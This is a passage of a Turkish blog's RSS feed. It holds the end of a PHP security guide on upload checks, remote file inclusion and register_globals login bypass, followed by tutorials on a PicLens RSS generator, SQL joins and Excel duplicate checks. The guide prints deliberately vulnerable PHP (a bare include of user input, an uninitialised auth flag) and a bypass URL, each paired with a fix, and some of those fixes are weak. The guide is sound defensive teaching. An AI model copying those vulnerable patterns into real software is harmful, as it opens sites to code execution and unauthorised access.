<p>Birincisi, dosyanın &#8220;mime-type&#8221; ıdır. Yani, dosyanın header’ında bulunan ve dosya tipini belirten bölüm. Örneğin kullanıcının sadece resim dosyası upload etmesini istiyorsanız yüklenen dosyanın &#8220;mime-type&#8221; ı image/png, image/jpeg, image/gif, image/x-png ya da image/p-jpeg olmalıdır. Aşağıdaki kod bu kontrolü gerçekleştirir.</p>
<pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039;,
&#039;image/x-png&#039;,
&#039;image/gif&#039;,
&#039;image/jpeg&#039;,
&#039;image/pjpeg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!in_array($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// İşlem tamam yüklemeyi gerçekletir vs vs.
</pre>
<p>İkinci kontrol etmeniz gereken bilgi ise, dosyanın uzantısıdır. Zira, mime-type bilgisi manuple edilebilir bir bilgidir. Bu bağlamda dosyanın uzantısını kontrol etmeniz gerekir. Zira bir kullanıcı, bir imaj dosyasının mime-type ı ile bir PHP dosyası gönderebilir. Bu durumda siz bir PHP dosyasını sisteminize almış olursunuz ki bu çok ciddi bir risk faktörüdür.</p>
<p>Bu durumdan korunmak için, sisteminize yüklediğiniz dosyaların uzantıları, siz tanımlamalısınız. Bu tanımlamayı ise mime-type bilgise göre yapabilirsiniz. Aşağıdaki örneğe bakalım:</p>
<pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039; =&gt; &#039;.png&#039;,
&#039;image/x-png&#039; =&gt; &#039;.png&#039;,
&#039;image/gif&#039; =&gt; &#039;.gif&#039;,
&#039;image/jpeg&#039; =&gt; &#039;.jpg&#039;,
&#039;image/pjpeg&#039; =&gt; &#039;.jpg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!array_key_exists($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// Dosya uzantısını barındırmayan dosya adını alalım:
$filename = substr($image[&#039;name&#039;], 0, strrpos($image[&#039;name&#039;], &#039;.&#039;));

// Mime type göre dogru uzantıyı verelim
$filename .= $validMimes[$image[&#039;type&#039;]];

// İşlem tamam
</pre>
<p>Yukarıdaki örnekle, bir PHP dosyanının sanki bir resim dosyasıymış gibi sisteminize PHP dosyası olarak yüklenmesini engellediniz. Dosya mime-type’ı PNG’yi işaret ediyorsa, dosya uzantısı .png olacaktır.</p>
<p><strong>Dosya Include Atağı:</strong></p>
<p>Kullanımı çok yaygın olan index.php?sayfa=xxxx.php şeklideki dosya include yöntemi çok ciddi risk taşıyabilir. Bu kullanım genelde, menü yapısı, logo gibi bölümleri index.php ye kaydedip içerik bölümünü başka dosyalarda saklayarak site yönetimini kolaylaştırmak için kullanılır. Bu durumdaki yanlışlık,</p>
<pre class="brush: php; ">

include $_GET[&#039;sayfa&#039;];
</pre>
<p>gibi bir kod ile gelen değişkene göre sayfayı include etmektendir.</p>
<p>Yukaridaki kullanımda PHP’nin allow_url_fopen ayarı ON durumda ise, yani aktifse, saldırgan başka bir sunucudaki dosyayı sitenize include edebiliyor demektir. Kodunuz da echo file_get_contents() değil de include kullanıdığı için bu çok sık karşılaşılan bir açığa sebebiyet vermektedir. Bu durum, sunucunuzun tüm kontrolünü saldırgana bırakmak demektir.</p>
<p>Bu durumdan yapabileceğiniz 2 şey vardır.</p>
<p>Birincisi, bir liste oluşturup gelen değişkeni burada kontrol etmektir. Örneğin şöyle bir kod ile:</p>
<pre class="brush: php; ">

switch($_GET[&#039;sayfa&#039;]) {
case &quot;hakkimizda&quot;:
include(&#039;hakkimizda.php&#039;);
break;
case &quot;haberler&quot;:
include(&#039;haberler.php&#039;);
break;
default:
include(&#039;anasayfa.php&#039;);
}
</pre>
<p>Bu kod ile include edebileceğiniz her sayfayı belirtiyor ve belirtmediğiniz sayfa için anasayfa.php dosyasını include ediyorsunuz. Bu yöntemin zor tarafı, ekleyeceğiniz her sayfayı bu listeye de eklemek zorunluluğudur.</p>
<p>İkinci bir yöntem ise, dışarodan gelen $_GET['sayfa'] değişkenini kontrol etmek ve temizlemektir.</p>
<pre class="brush: php; ">

$sayfa = preg_replace(&#039;/\W/si&#039;, &#039;&#039;, $_GET[&#039;sayfa&#039;]);

include(&#039;./&#039;.$sayfa.&#039;.php&#039;);
</pre>
<p>Yukarıdaki kod, &#8220;..&#8221;, &#8220;/&#8221; gibi karakterleri temizleyerek kullanıcının 212.111.111.111 gibi ip ya da http://www.kotusite.com gibi domain belirtmesini engeller. Bu verileri 212111111111, httpwwwkotusitecom şekline çevirir.</p>
<p>Dosya include atağındaki diğer bir açık ise, include edilen dosyaların uzantılarını .inc gibi sunucunun tanımayacağı bir uzantı yapmaktır. Örneğin, config.inc gibi bir dosya yapıp bunu include etmek çok sakıncalı olabilir. Zira, saldırgan bu dosyanın adını ve yerini öğrendiğinde, eğer web suncuunuz bu dosyayı çalıştırabilir bir dosya olarak tanımıyorsa (ki tanımama ihtimali yüksektir), saldırdan dosya içeriğini görecektir. Bu durumda yapabileceğiniz, her türlü dosya uzantınızı .php yapmaktır. Boylece saldırgan bu dosyaların içeriğini görüntüleyemez. Diğer bir yöntem ise Apache sunucular için, aşağıdaki gibi bir .htaccess dosyası olusturarak .inc dosyalarının ulaşılmasını engelleyebilirsiniz.</p>
<pre class="brush: c; ">

&lt;files ~ &quot;\.inc$&quot;&gt;
Order allow,deny
Deny from all
&lt;/files&gt;
</pre>
<p><strong>Register Globals Atağı:</strong></p>
<p>register_globals değeri PHP ayarında ON durumda ise, $_POST, $_GET, $_SERVER, $_COOKIE, $_REQUEST, $_FILE ile gelen değişkenlere global değişkenler olarak ulaşabilirsiniz. Yani mesela $_POST[’mesaj’] değişkenine $mesaj olarak ulaşabilirsiniz.</p>
<p>register_globals değeri güncel PHP kurulumlarında varsayılan olarak OFF durumdadır. Ancak eski bir PHP kurulumu bulunan sunucuda, ya da sistem yönetici tarafından özellikle açılmış bir sunucuda ON durumunda olabilir (ki paylaşımlı hosting firmaları geçmiş müşterilerinin kodlarının uyumu adına açabiliyorlar).</p>
<p>register_globals’in ON olamsı durumu için aşağıdaki kodu inceleyelim.</p>
<p>dosya.php dosyası örneği:</p>
<pre class="brush: php; ">

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre>
<p>Saldırgan, dosya.php?authenticated=true şeklinde bir URL çağrımı ile, sisteme izinsiz giriş yapabilir.</p>
<p>Bu durumda ne yapacağız, register_globals değerini OFF yapamayabileceğimiz durumların her zaman gerçekleşebileceğini düşünerek, kodumuzu şu şekilde değiştirelim.</p>
<pre class="brush: php; ">

$authenticated = false;

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre>
<p>Bu kod, $authenticated değişkenini sayfa başında false yapmaktadır. $_POST&#8217;tan gelen veri eğer uygunsa $authenticated true yapılır. Böylece, dışarıdan gönderilen değişken ile izinsiz giriş yaplıması engellenmiş olur.</p>
<p>Derleme ve Çeviri : <a href="http://www.okanari.com">Okan ARI</a></p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=145&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>24 Eylül 2008 -- <a href="http://muzaffer.akyil.net/2008/09/24/makale/yazilim/php/admin/piclens-xml-parser-for-imagevue-image-gallery.aspx" title="PicLens XML Parser for ImageVue Image Gallery">PicLens XML Parser for ImageVue Image Gallery (3)</a></li><li>23 Şubat 2008 -- <a href="http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx" title="Inner, Outer, Left, Right, Cross(Full) Join Nedir ?">Inner, Outer, Left, Right, Cross(Full) Join Nedir ? (3)</a></li><li>25 Ocak 2008 -- <a href="http://muzaffer.akyil.net/2008/01/25/makale/yazilim/sql/admin/il-ile-mahalle-veritabani.aspx" title="İl / İl&ccedil;e / Mahalle Veritabanı">İl / İl&ccedil;e / Mahalle Veritabanı (7)</a></li><li>12 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/12/makale/yazilim/php/admin/kisa-yoldan-sql-tablo-tasarimi.aspx" title="Kısayoldan SQL Tablo Tasarımı">Kısayoldan SQL Tablo Tasarımı (1)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/yazilim/visual-basic/function/admin/sql-den-alinan-tarih-bilgisini-duzenleme.aspx" title="SQL den alınan tarih bilgisini düzenleme">SQL den alınan tarih bilgisini düzenleme (2)</a></li><li>13 Aralık 2006 -- <a href="http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx" title="URL String Güvenliği">URL String Güvenliği (0)</a></li><li>13 Aralık 2006 -- <a href="http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx" title="%100 Site Güvenliği">%100 Site Güvenliği (0)</a></li><li>29 Ocak 2006 -- <a href="http://muzaffer.akyil.net/2006/01/29/makale/admin/dos-saldirlari-icin.aspx" title="Dos Saldırları İçin">Dos Saldırları İçin (2)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>PicLens XML Parser for ImageVue Image Gallery</title>
		<link>http://muzaffer.akyil.net/2008/09/24/makale/yazilim/php/admin/piclens-xml-parser-for-imagevue-image-gallery.aspx</link>
		<comments>http://muzaffer.akyil.net/2008/09/24/makale/yazilim/php/admin/piclens-xml-parser-for-imagevue-image-gallery.aspx#comments</comments>
		<pubDate>Wed, 24 Sep 2008 06:58:05 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[cooliris]]></category>
		<category><![CDATA[dirlist]]></category>
		<category><![CDATA[galeri]]></category>
		<category><![CDATA[imagevue]]></category>
		<category><![CDATA[piclens]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://muzaffer.akyil.net/?p=116</guid>
		<description><![CDATA[Evet arkadaşlar uzun süredir bişiler karalamıyordum. Bu aralar işler baya yoğun. Geçenlerde çektiğim bazı fotoğrafları yayınlamak için bir galeri arayışına girdim. ImageVue ile tanıştım. Gayet başarılı bir galeri. Bu galeri yazılımını kullanarak kendi galerimi oluşturdum. Sonrasında Sağlam bir Firefox kullanıcısı olduğumdan Firefox eklentisi olan PicLens ile galeriyi entegre etmeye çalıştım. Ve sonuç olarak aşağıdaki kodlar [...]]]></description>
			<content:encoded><![CDATA[<p>Evet arkadaşlar uzun süredir bişiler karalamıyordum. Bu aralar işler baya yoğun. Geçenlerde çektiğim bazı fotoğrafları yayınlamak için bir galeri arayışına girdim. <a href="http://www.imagevue.com" target="_blank">ImageVue</a> ile tanıştım. Gayet başarılı bir galeri. Bu galeri yazılımını kullanarak <a href="http://muzaffer.akyil.net/galeri" target="_blank">kendi galerimi</a> oluşturdum. Sonrasında Sağlam bir <a href="http://www.mozilla.org" target="_blank">Firefox </a>kullanıcısı olduğumdan Firefox eklentisi olan <a href="http://www.cooliris.com/" target="_blank">PicLens</a> ile galeriyi entegre etmeye çalıştım. Ve sonuç olarak aşağıdaki kodlar meydana çıktı.<span id="more-116"></span></p>
<p>Öncelikle PicLens fotograflarımızın küçük hallerini ve büyük hallerini bir <strong>RSS (XML)</strong> içinde toplamamızı istiyor ve bu topladığımız bilgileri <strong>photos.rss</strong> adı aldında galerinin bulunduğu ana klasörde bulundurmamız gerekiyor. Aşağıda yazdığım php kodu galerimizin bulunduğu klasörler içindeki fotolarmızı araştırıp XML haline getiriyor. Bilindiği üzere <strong>RSS</strong> uzantısı <strong>text/plain</strong> bir uzantıdır. Öncelikle rss uzantısı ile php çalıştıracağımızı Apache Web Sunucusu yazılımına bildirmemiz gerekli. Bu sebepten galerinin kök dizinine .htaccess diye bir dosya oluşturup içine aşağıdaki kodu yazıyoruz.</p>
<p><strong>.htaccess içeriği</strong></p>
<pre class="brush: c; ">

AddType application/x-httpd-php .rss
</pre>
<p>Daha sonrasında aşağıdaki kodları photos.rss dosyasını oluşturarak içine yapıştırıyoruz.</p>
<p><strong>photos.rss içeriği</strong></p>
<pre class="brush: php; ">

/*
PicLens XML Parser for ImageVue Image Gallery
Coder by Victorious
Web : http://muzaffer.akyil.net &amp; Gallery : http://muzaffer.akyil.net/galeri
*/

//Tanımlar
$title = &quot;Muzaffer AKYIL - Photographer&quot;; //Sayfa Başlığı
$desc = &quot;Muzaffer AKYIL Photographer&quot;; //Sayfa Açıklaması
$link = &quot;http://muzaffer.akyil.net/galeri/&quot;; //Sayfa Linki
$klasor = &quot;./content&quot;; //Fotoğrafların Bulunduğu Klasör
// Tanım Sonu

header(&quot;Content-Type: application/xml; charset=ISO-8859-9&quot;);
function ListFiles($dir) {
    if($dh = opendir($dir)) {
        $files = Array();
        $inner_files = Array();
        while($file = readdir($dh)) {
            if($file != &quot;.&quot; &amp;&amp; $file != &quot;..&quot; &amp;&amp; $file[0] != &#039;.&#039;) {
                if(is_dir($dir . &quot;/&quot; . $file)) {
                    $inner_files = ListFiles($dir . &quot;/&quot; . $file);
                    if(is_array($inner_files)) $files = array_merge($files, $inner_files);
                } else {
				if(substr($file,-3) == &#039;jpg&#039; || substr($file,-3) == &#039;JPG&#039;){
					if(substr($file,0,2)!=&#039;tn&#039;) {
                    	array_push($files, $dir . &quot;/tn_&quot; . $file);
					}
				}
                }
            }
        }
        closedir($dh);
        return $files;
    }
}
echo &#039;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;?&gt;
&lt;rss version=&quot;2.0&quot; xmlns:media=&quot;http://search.yahoo.com/mrss&quot; xmlns:atom=&quot;http://www.w3.org/2005/Atom&quot;&gt;
&lt;channel&gt;
&lt;title&gt;&#039;.$title.&#039;&lt;/title&gt;
        &lt;link&gt;&#039;.$link.&#039;&lt;/link&gt;
        &lt;description&gt;&#039;.$desc.&#039;&lt;/description&gt;
&#039;;
$x = 1;
foreach (ListFiles($klasor) as $key=&gt;$file){
$normal_file = str_replace(&quot;tn_&quot;,&quot;&quot;,$file);
$thumb = $file;
echo &quot;&lt;item&gt;
                &lt;title&gt;$x&lt;/title&gt;
                &lt;link&gt;$file&lt;/link&gt;
                &lt;guid&gt;$x&lt;/guid&gt;
                &lt;media :thumbnail url=\&quot;$thumb\&quot; /&gt;
                &lt;media :content url=\&quot;$normal_file\&quot; type=\&quot;image/jpeg\&quot; /&gt;
        &lt;/item&gt;&quot;;
$x = $x + 1;
}
echo &#039;&lt;/channel&gt;
&lt;/rss&gt;&#039;;
</pre>
<p>Son olarak photos.rss içindeki Tanımlar bölümündeki bilgileri kendi galerimize göre değiştiriyoruz.</p>
<p>Artık galerinizin ana sayfasına girip PicLens butonuna tıklayabilirsiniz.</p>
<p>Kolay Gelsin.</p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=116&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>20 Şubat 2009 -- <a href="http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx" title="PHP Güvenlik Kılavuzu">PHP Güvenlik Kılavuzu (4)</a></li><li>12 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/12/makale/yazilim/php/admin/kisa-yoldan-sql-tablo-tasarimi.aspx" title="Kısayoldan SQL Tablo Tasarımı">Kısayoldan SQL Tablo Tasarımı (1)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2008/09/24/makale/yazilim/php/admin/piclens-xml-parser-for-imagevue-image-gallery.aspx/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Inner, Outer, Left, Right, Cross(Full) Join Nedir ?</title>
		<link>http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx</link>
		<comments>http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx#comments</comments>
		<pubDate>Sat, 23 Feb 2008 00:15:02 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[SQL]]></category>
		<category><![CDATA[cross join]]></category>
		<category><![CDATA[inner join]]></category>
		<category><![CDATA[join]]></category>
		<category><![CDATA[left join]]></category>
		<category><![CDATA[mssql]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[outer join]]></category>
		<category><![CDATA[right join]]></category>

		<guid isPermaLink="false">http://www.muzafferakyil.com/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx</guid>
		<description><![CDATA[SQL Sorgulama dilinde birden fazla tabloyu birleştirme yada ilgili başka tablodan veri çekmek için Inner, Outer, Left, Right, Cross Join Segmentleri kullanılır.



Bunlar aşağıda belirtildiği şekilde kullanılır.
Inner Join

Çok basit olarak inner join&#160; bir-e-bir join anlamına gelmektedir. İki tablonuz olduğunu düşünün TabloA da Alan1 adlı bir alanınız var bu alanda A,B,C değerleri var,TabloB de Alan1 de ise [...]]]></description>
			<content:encoded><![CDATA[<p>SQL Sorgulama dilinde birden fazla tabloyu birleştirme yada ilgili başka tablodan veri çekmek için Inner, Outer, Left, Right, Cross Join Segmentleri kullanılır.</p>
</p>
<p><span id="more-115"></span>
</p>
<p>Bunlar aşağıda belirtildiği şekilde kullanılır.</p>
<h4>Inner Join</h4>
<p><b></b></p>
<p>Çok basit olarak inner join&nbsp; bir-e-bir join anlamına gelmektedir. İki tablonuz olduğunu düşünün TabloA da Alan1 adlı bir alanınız var bu alanda A,B,C değerleri var,<br />TabloB de Alan1 de ise A,B,K değerleri var.</p>
<p>Eğer iki tablo arasında inner join kurarsanız sonuç ta dönecek listede sadece A ve B değerleri olacaktır. Çünkü inner joinde yanlızca eşit olan kayıtlar döner.</p>
<pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1 , TabloB.Alan1 as TabloBAlan1
FROM TabloA INNER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 = TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
*/
</pre>
<h4>Outer Join<br /></h4>
<p>Çok basit olarak outer bir-e-çoklu join anlamına gelmektedir (MsSQL Server da çok-a-çoklu join de kurulabilmektedir). İki tablonuz olduğunu düşünün TabloA da Alan1 adlı bir alanınız var bu alanda A,B,C değerleri var, TabloB de Alan1 de ise A,B,K değerleri var.</p>
<p>Eğer iki tablo arasında outer join kuracaksınız ve sizin için TabloA daki tüm kayıtlar TabloB de ise sadece TabloA da bulunanlar gelir.</p>
<p><strong>Left Outer Join<br /></strong></p>
<p>Join kelimesinin sol tarafındaki tabloyu baz alarak eklemek için kullanılır. </p>
<pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA LEFT OUTER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Bu kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 *= TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
C Null
*/
</pre>
<p><strong><br />Right Outer Join</strong><br />Join kelimesinin sağ tarafındaki tabloyu baz alarak eklemek için kullanılır.</p>
<pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA RIGHT OUTER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Bu kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 =* TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
Null K
*/
</pre>
<p><strong>Full Outer Join (MySQL için Cross Outer Join)<br /></strong>Her iki tablodaki tüm verileri getirmek için kullanılır. </p>
<pre class="brush: sql; ">

SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA FULL OUTER JOIN TabloB
ON TabloA.Alan1 = TabloB.Alan1
/*
Bu kodun MSSQL de sade şekli şudur :
*/
SELECT TabloA.Alan1 as TabloAAlan1, TabloB.Alan1 as TabloBAlan1
FROM TabloA , TabloB
WHERE TabloA.Alan1 =* TabloB.Alan1
/*
Dönen Sonuç :
TabloAAlan1 TabloBAlan1
A A
B B
Null K
C Null
*/
</pre>
<p>Join&#8217; nin sade halinde kullanılan &#8220;*&#8221; karakteri ise sadece Ms SQL Server&#8217;a özeldir. Oracle da ise bu karakter yerine &#8220;(+)&#8221; işareti kullanılmaktadır ve alan isimlerin sonuna bir boşluk bırakarak yazılır.</p>
<p>Örnek olarak : WHERE TabloA.Alan1 = TabloB.Alan1 (+)</p>
<blockquote>
<p>OUTER cümlesi kullanılmasada olur. (Left Join gibi)</p>
</blockquote>
<p>Kolay Gelsin.</p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=115&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>12 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/12/makale/yazilim/php/admin/kisa-yoldan-sql-tablo-tasarimi.aspx" title="Kısayoldan SQL Tablo Tasarımı">Kısayoldan SQL Tablo Tasarımı (1)</a></li><li>20 Şubat 2009 -- <a href="http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx" title="PHP Güvenlik Kılavuzu">PHP Güvenlik Kılavuzu (4)</a></li><li>25 Ocak 2008 -- <a href="http://muzaffer.akyil.net/2008/01/25/makale/yazilim/sql/admin/il-ile-mahalle-veritabani.aspx" title="İl / İl&ccedil;e / Mahalle Veritabanı">İl / İl&ccedil;e / Mahalle Veritabanı (7)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/yazilim/visual-basic/function/admin/sql-den-alinan-tarih-bilgisini-duzenleme.aspx" title="SQL den alınan tarih bilgisini düzenleme">SQL den alınan tarih bilgisini düzenleme (2)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2008/02/23/makale/yazilim/sql/admin/inner-outer-left-right-crossfull-join-nedir.aspx/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Excel M&#252;kerrer Kayıt Kontrol&#252;</title>
		<link>http://muzaffer.akyil.net/2008/02/22/makale/os/windows/excel/admin/excel-mkerrer-kayit-kontrol.aspx</link>
		<comments>http://muzaffer.akyil.net/2008/02/22/makale/os/windows/excel/admin/excel-mkerrer-kayit-kontrol.aspx#comments</comments>
		<pubDate>Fri, 22 Feb 2008 10:13:56 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[Excel]]></category>
		<category><![CDATA[aynı]]></category>
		<category><![CDATA[biçimlendirme]]></category>
		<category><![CDATA[koşullu]]></category>
		<category><![CDATA[mükerrer]]></category>
		<category><![CDATA[microsoft]]></category>

		<guid isPermaLink="false">http://www.muzafferakyil.com/2008/02/22/makale/os/windows/excel/admin/excel-mkerrer-kayit-kontrol.aspx</guid>
		<description><![CDATA[Bir çok zaman Excel de bulunan bir listede bulunan mükerrer (birbiri ile aynı) kayıtlar başımızı ağrıtmıştır. Bu kayıtların tek tek kontrolü uzun zaman ve emek istemektedir. Peki bu mükerrer kayıtları Excel bizim için bir şekilde gösterebilir mi ?
Aşağıdaki işlemleri uyguladıktan sonra tabiki gösterebilir :)

Öncelikle mükerrer kayıtları arayacağımız alanı seçiyoruz ;
 
Ekle menüsü altında Ad &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Bir çok zaman Excel de bulunan bir listede bulunan mükerrer (birbiri ile aynı) kayıtlar başımızı ağrıtmıştır. Bu kayıtların tek tek kontrolü uzun zaman ve emek istemektedir. Peki bu mükerrer kayıtları Excel bizim için bir şekilde gösterebilir mi ?</p>
<p>Aşağıdaki işlemleri uyguladıktan sonra tabiki gösterebilir :)</p>
<p><span id="more-114"></span></p>
<p>Öncelikle mükerrer kayıtları arayacağımız alanı seçiyoruz ;</p>
<p><a href='http://muzaffer.akyil.net/wp-content/uploads/2008/02/1.jpg' title='1.jpg'><img src='http://muzaffer.akyil.net/wp-content/uploads/2008/02/1.thumbnail.jpg' alt='1.jpg' /></a> </p>
<p>Ekle menüsü altında Ad &#8211; Tanımla&#8217;ya tıklayıp gelen pencerede istediğimiz bir ad yazıp Ekle diyoruz. Böylece Seçtiğimiz alanı bir liste olarak Excel&#8217;e tanıtmış oluyoruz.</p>
<p><a href='http://muzaffer.akyil.net/wp-content/uploads/2008/02/image.png' title='image.png'><img src='http://muzaffer.akyil.net/wp-content/uploads/2008/02/image.thumbnail.png' alt='image.png' /></a></p>
<p>Seçtiğimiz alan hala aktif iken Biçim menüsü Koşullu Biçimlendirme&#8217;ye tıklıyor ve Koşul 1 de Formül seçip yantarafına =EĞER(EĞERSAY(TEST;A1)&gt;1;DOĞRU; YANLIŞ) formulünü yazıyoruz. Sonrasında bu koşul gerçekleştiğinde biçimlendirmenin nasıl olacağını Biçim&#8217;e tıklayarak belirliyoruz ve Tamam diyerek işlemi bitiriyoruz.</p>
<blockquote><p><font face="Arial" color="#555555">Formülde kullanılan TEST kelimesi sizin tanımladığını Ad &#8211; Tanımla da belirttiğiniz kelimedir. Değiştirmeyi unutmayınız.</font></p>
</blockquote>
<p><a href='http://muzaffer.akyil.net/wp-content/uploads/2008/02/image1.png' title='image.png'><img src='http://muzaffer.akyil.net/wp-content/uploads/2008/02/image1.thumbnail.png' alt='image.png' /></a></p>
<p>Ve sonuç karşınızda artık mükerrer kayıtlarım belirlediğim biçimlendirme ile bana gösteriliyor.</p>
<p><a href='http://muzaffer.akyil.net/wp-content/uploads/2008/02/image2.png' title='image.png'><img src='http://muzaffer.akyil.net/wp-content/uploads/2008/02/image2.thumbnail.png' alt='image.png' /></a> </p>
<p>Kolay Gelsin.</p>
<img src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=114&type=feed" alt="" /><h3>Benzer Yazılar</h3><ul class="related_post"><li>22 Ocak 2008 -- <a href="http://muzaffer.akyil.net/2008/01/22/makale/os/windows/excel/admin/metine-dnstr-makrosu.aspx" title="Metine D&ouml;n&uuml;şt&uuml;r Makrosu">Metine D&ouml;n&uuml;şt&uuml;r Makrosu (1)</a></li><li>16 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/paylasilan-klasorleri-gizleme.aspx" title="Paylaşılan Klasörleri Gizleme">Paylaşılan Klasörleri Gizleme (0)</a></li><li>16 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/16/makale/guvenlik/admin/unlocker-185-kullanimda-olan-dosyalari-silmek-icin.aspx" title="Unlocker 1.8.5 &#8211; Kullanımda olan dosyaları silmek için">Unlocker 1.8.5 &#8211; Kullanımda olan dosyaları silmek için (0)</a></li><li>11 Nisan 2007 -- <a href="http://muzaffer.akyil.net/2007/04/11/makale/yazilim/php/admin/winmaildat-outlook-ek-dosya-sorunsali.aspx" title="winmail.dat Outlook Ek Dosya Sorunsalı">winmail.dat Outlook Ek Dosya Sorunsalı (0)</a></li><li>28 Mart 2007 -- <a href="http://muzaffer.akyil.net/2007/03/28/makale/os/linux/admin/dokunmatik-ekran-ve-linux-xgl-cilginligi.aspx" title="Dokunmatik Ekran ve Linux XGL Çılgınlığı">Dokunmatik Ekran ve Linux XGL Çılgınlığı (1)</a></li><li>13 Aralık 2006 -- <a href="http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/virustemizleme.aspx" title="Bilgisayara Virüs Bulaştığı Nasıl Anlaşılır ve Nasıl Temizlenir?">Bilgisayara Virüs Bulaştığı Nasıl Anlaşılır ve Nasıl Temizlenir? (1)</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://muzaffer.akyil.net/2008/02/22/makale/os/windows/excel/admin/excel-mkerrer-kayit-kontrol.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Terminal Komutları</title>
		<link>http://muzaffer.akyil.net/2008/01/30/makale/os/linux/admin/linux-terminal-komutlari.aspx</link>
		<comments>http://muzaffer.akyil.net/2008/01/30/makale/os/linux/admin/linux-terminal-komutlari.aspx#comments</comments>
		<pubDate>Wed, 30 Jan 2008 08:38:18 +0000</pubDate>
		<dc:creator>muzaffer</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[komut]]></category>
		<category><![CDATA[putty]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[terminal]]></category>

		<guid isPermaLink="false">http://www.muzafferakyil.com/2008/01/30/makale/os/linux/admin/linux-terminal-komutlari.aspx</guid>
